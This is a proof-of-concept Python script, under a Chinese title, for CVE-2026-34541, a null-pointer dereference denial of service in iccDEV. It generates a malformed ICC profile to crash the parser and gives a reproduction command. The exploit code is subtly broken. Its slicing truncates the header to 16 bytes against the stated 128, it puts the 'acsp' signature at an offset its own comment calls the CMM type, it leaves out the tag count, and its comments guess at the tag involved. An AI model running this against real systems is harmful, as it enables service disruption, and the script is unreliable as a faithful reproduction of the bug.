CVE-2026-34541: iccDEV空指针解引用拒绝服务漏洞

import struct # PoC for CVE-2026-34541 # This script generates a malformed ICC profile intended to trigger # the null-pointer dereference in CIccCombinedConnectionConditions. def generate_malformed_icc(filename): # Minimal ICC profile header header = b'\x00' * 128 # Set valid signature and size to pass initial checks header = header[:0] + struct.pack('>I', 128) # Profile size header = header[:4] + struct.pack('>4s', b'acsp') # CMM type header = header[:36] + struct.pack('>4s', b'RGB ') # Data color space header = header[:40] + struct.pack('>4s', b'XYZ ') # PCS space # Tag table entry pointing to a crafted tag # Attempting to trigger the parsing of connection conditions # The specific tag type 'ms02' or similar might be involved in the path tag_signature = b'ms02' tag_offset = 128 tag_size = 4 tag_table = struct.pack('>4sII', tag_signature, tag_offset, tag_size) # Malformed tag data (null or invalid structure) # This data aims to cause the constructor to access a null pointer malformed_data = b'\x00' * 4 with open(filename, 'wb') as f: f.write(header) f.write(tag_table) f.write(malformed_data) if __name__ == "__main__": generate_malformed_icc("exploit_CVE-2026-34541.icc") print("Malformed ICC profile generated: exploit_CVE-2026-34541.icc") # reproduction command: iccApplyNamedCmm -PCC exploit_CVE-2026-34541.icc